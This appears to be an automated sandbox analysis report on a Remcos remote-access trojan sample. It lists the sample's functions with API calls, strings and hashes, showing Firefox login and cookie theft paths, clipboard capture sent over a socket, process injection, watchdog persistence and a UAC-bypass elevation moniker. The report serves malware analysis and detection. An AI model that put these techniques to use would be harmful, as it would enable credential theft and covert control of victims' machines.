                      • Opcode ID: e3897490a2cac42c3b4e1014ed2823308ba8a3da3ebb6be891faf80702b29399
                      • Instruction ID: 70e6a120cd26ef4d63fea04585a98dfb86eec3f3f3d93349c630b188a9e88b71
                      • Opcode Fuzzy Hash: e3897490a2cac42c3b4e1014ed2823308ba8a3da3ebb6be891faf80702b29399
                      • Instruction Fuzzy Hash: 8891E471604604AFD711FB36ED42A6F369AEB84308F01443FF989A62E2DB7D9C448B5D
                      Function 004120F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcessId.KERNEL32 ref: 00412106
                        • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                        • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                        • Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4), ref: 004138AB
                      • OpenMutexA.KERNEL32 ref: 00412146
                      • CloseHandle.KERNEL32(00000000), ref: 00412155
                      • CreateThread.KERNEL32(00000000,00000000,004127EE,00000000,00000000,00000000), ref: 004121AB
                      • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 0041241A
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                      • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
                      • API String ID: 3018269243-13974260
                      • Opcode ID: 94cd0e690e29393e168c36f2201fa927646a70d566ab7c517b625d411d554f8e
                      • Instruction ID: 8205490d34a3093c97c97cf0412c87f535f0d81ed9353c04b1464aab831027f3
                      • Opcode Fuzzy Hash: 94cd0e690e29393e168c36f2201fa927646a70d566ab7c517b625d411d554f8e
                      • Instruction Fuzzy Hash: 2671813160430167C614FB72CD579AE73A4AF90308F50057FB546A61E2FFBC9949C69E
                      Function 0040BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BBAF
                      • FindClose.KERNEL32(00000000), ref: 0040BBC9
                      • FindNextFileA.KERNEL32(00000000,?), ref: 0040BCEC
                      • FindClose.KERNEL32(00000000), ref: 0040BD12
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$CloseFile$FirstNext
                      • String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
                      • API String ID: 1164774033-3681987949
                      • Opcode ID: 8d7aaefdbbb17da70651c85bfc14742a28090f78922c13758640ed364e1dedc2
                      • Instruction ID: 0369a90be492857ee26322cec2c2e6bc6ddf3692cf68474a737f8ca2a3b0d98c
                      • Opcode Fuzzy Hash: 8d7aaefdbbb17da70651c85bfc14742a28090f78922c13758640ed364e1dedc2
                      • Instruction Fuzzy Hash: 13516E3190421A9ADB14F7B2DC56DEEB739AF11304F10057FF406721E2EF785A89CA89
                      Function 004168C1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80clipboardmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • OpenClipboard.USER32 ref: 004168C2
                      • EmptyClipboard.USER32 ref: 004168D0
                      • GlobalAlloc.KERNEL32(00002000,-00000002), ref: 004168F0
                      • GlobalLock.KERNEL32 ref: 004168F9
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041692F
                      • SetClipboardData.USER32 ref: 00416938
                      • CloseClipboard.USER32 ref: 00416955
                      • OpenClipboard.USER32 ref: 0041695C
                      • GetClipboardData.USER32 ref: 0041696C
                      • GlobalLock.KERNEL32 ref: 00416975
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                      • CloseClipboard.USER32 ref: 00416984
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
                      • String ID: !D@
                      • API String ID: 3520204547-604454484
                      • Opcode ID: 24192145d40dd5d885ebf24f35a4dad0bb1f4ab0e0a063593ed955df835b7d6e
                      • Instruction ID: 9e7c9e91df33a813dd3aefbd505e3631e00017b2d00f6ad0929271c723fa7fba
                      • Opcode Fuzzy Hash: 24192145d40dd5d885ebf24f35a4dad0bb1f4ab0e0a063593ed955df835b7d6e
                      • Instruction Fuzzy Hash: 9F212171604301DBD714BB71DC5DABE36A9AF88746F40043EF946921E2EF3C8D45C66A
                      Function 0040BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 0040BDAF
                      • FindClose.KERNEL32(00000000), ref: 0040BDC9
                      • FindNextFileA.KERNEL32(00000000,?), ref: 0040BE89
                      • FindClose.KERNEL32(00000000), ref: 0040BEAF
                      • FindClose.KERNEL32(00000000), ref: 0040BED0
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$Close$File$FirstNext
                      • String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
                      • API String ID: 3527384056-432212279
                      • Opcode ID: 8f1e00925697bb1ed9065a8a50f8051e558b025f3b3c4185e977bc1ca5524bae
                      • Instruction ID: daa8673b40617291cefb90f55d029d970aaced9502edc59260dc825ad40fac9f
                      • Opcode Fuzzy Hash: 8f1e00925697bb1ed9065a8a50f8051e558b025f3b3c4185e977bc1ca5524bae
                      • Instruction Fuzzy Hash: 38417D3190021AAADB04F7A6DC5A9EEB769DF11704F50017FF506B20D2EF385A46CA9E
                      Function 004132D2 Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                      • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                      • CloseHandle.KERNEL32(00000000), ref: 0041345F
                      • CloseHandle.KERNEL32(?), ref: 00413465
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                      • String ID:
                      • API String ID: 297527592-0
                      • Opcode ID: cbaf96c0539d14e3bfc579cb390cbf1a6d01f92e477562203843d299bee7c5bd
                      • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                      • Opcode Fuzzy Hash: cbaf96c0539d14e3bfc579cb390cbf1a6d01f92e477562203843d299bee7c5bd
                      • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                      Function 0040F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,004750E4,?,00475338), ref: 0040F48E
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F4B9
                      • Process32FirstW.KERNEL32(00000000,0000022C), ref: 0040F4D5
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F554
                      • CloseHandle.KERNEL32(00000000), ref: 0040F563
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • CloseHandle.KERNEL32(00000000), ref: 0040F66E
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
                      • String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
                      • API String ID: 3756808967-1743721670
                      • Opcode ID: 9696b3c9821f35113208a8e204aa4700f224166d16ac1652e85869771ea54990
                      • Instruction ID: b3f00c97eb68dcc530bbf6735eb7028ff3362e05d7342ed3a56d945b0ce45bff
                      • Opcode Fuzzy Hash: 9696b3c9821f35113208a8e204aa4700f224166d16ac1652e85869771ea54990
                      • Instruction Fuzzy Hash: F6715E705083419BC724FB21D8959AEB7A5AF90348F50083FF586631E3EF78994ECB5A
                      Function 00419627 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 206COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: 0$1$2$3$4$5$6$7$VG
                      • API String ID: 0-1861860590
                      • Opcode ID: a0898ada7235e23996d16a558f3c20519f182ec80e29ad8a8220548995af58c0
                      • Instruction ID: 08acf1e0be570df0aadc768861284cd9b307e7e5fc43d41925289fb9f64992c1
                      • Opcode Fuzzy Hash: a0898ada7235e23996d16a558f3c20519f182ec80e29ad8a8220548995af58c0
                      • Instruction Fuzzy Hash: A771B2709183019FD304EF21D862BAB7B94DF95310F10492FF5A26B2D1DF78AA49CB96
                      Function 004074FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 00407521
                      • CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Object_wcslen
                      • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                      • API String ID: 240030777-3166923314
                      • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                      • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                      • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                      • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                      Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                      • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                      • GetLastError.KERNEL32 ref: 0041A7BB
                      • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EnumServicesStatus$ErrorLastManagerOpen
                      • String ID:
                      • API String ID: 3587775597-0
                      • Opcode ID: 6acfec477c33960adb53ca531a04b71f608e95b4af76d4dccda85eb8d0b50c1e
                      • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                      • Opcode Fuzzy Hash: 6acfec477c33960adb53ca531a04b71f608e95b4af76d4dccda85eb8d0b50c1e
                      • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                      Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                      • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                      • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                      • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                      • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                      • String ID: lJD$lJD$lJD
                      • API String ID: 745075371-479184356
                      • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                      • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                      • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                      • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                      Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                      • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                      • FindClose.KERNEL32(00000000), ref: 0040C47D
                      • FindClose.KERNEL32(00000000), ref: 0040C4A8
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$CloseFile$FirstNext
                      • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                      • API String ID: 1164774033-405221262
                      • Opcode ID: 66fe6d6053e6612d2a3ee79fceeb28f858ac6dc921cc8d7f836653099c7867af
                      • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                      • Opcode Fuzzy Hash: 66fe6d6053e6612d2a3ee79fceeb28f858ac6dc921cc8d7f836653099c7867af
                      • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                      Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                      • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                      • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                      • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                      • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                      • String ID:
                      • API String ID: 2341273852-0
                      • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                      • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                      • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                      • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                      Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                      • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Find$CreateFirstNext
                      • String ID: 8SG$PXG$PXG$NG$PG
                      • API String ID: 341183262-3812160132
                      • Opcode ID: cd03045875f02e3539d9d1cbc53a3bc37cc58efd3f2785dc4e01e79052fd22ad
                      • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                      • Opcode Fuzzy Hash: cd03045875f02e3539d9d1cbc53a3bc37cc58efd3f2785dc4e01e79052fd22ad
                      • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                      Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                      • String ID:
                      • API String ID: 1888522110-0
                      • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                      • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                      • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                      • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                      Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                      • RegCloseKey.ADVAPI32(?), ref: 004140A9
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                      • GetProcAddress.KERNEL32(00000000), ref: 00414271
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressCloseCreateLibraryLoadProcsend
                      • String ID: SHDeleteKeyW$Shlwapi.dll
                      • API String ID: 2127411465-314212984
                      • Opcode ID: 4ceb15516eb93303ba26d456d989d840b1cac8cf604f13059634e9a0b45d8257
                      • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                      • Opcode Fuzzy Hash: 4ceb15516eb93303ba26d456d989d840b1cac8cf604f13059634e9a0b45d8257
                      • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                      Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00449212
                      • _free.LIBCMT ref: 00449236
                      • _free.LIBCMT ref: 004493BD
                      • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                      • _free.LIBCMT ref: 00449589
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ByteCharMultiWide$InformationTimeZone
                      • String ID:
                      • API String ID: 314583886-0
                      • Opcode ID: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                      • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                      • Opcode Fuzzy Hash: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                      • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                      Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                        • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                        • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                        • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                        • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                      • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                      • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                      • GetProcAddress.KERNEL32(00000000), ref: 00416872
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                      • String ID: !D@$PowrProf.dll$SetSuspendState
                      • API String ID: 1589313981-2876530381
                      • Opcode ID: 808f25f0b35ca0a049c08b025eaa36e97cdb378869ef4b72705573af330ecb01
                      • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                      • Opcode Fuzzy Hash: 808f25f0b35ca0a049c08b025eaa36e97cdb378869ef4b72705573af330ecb01
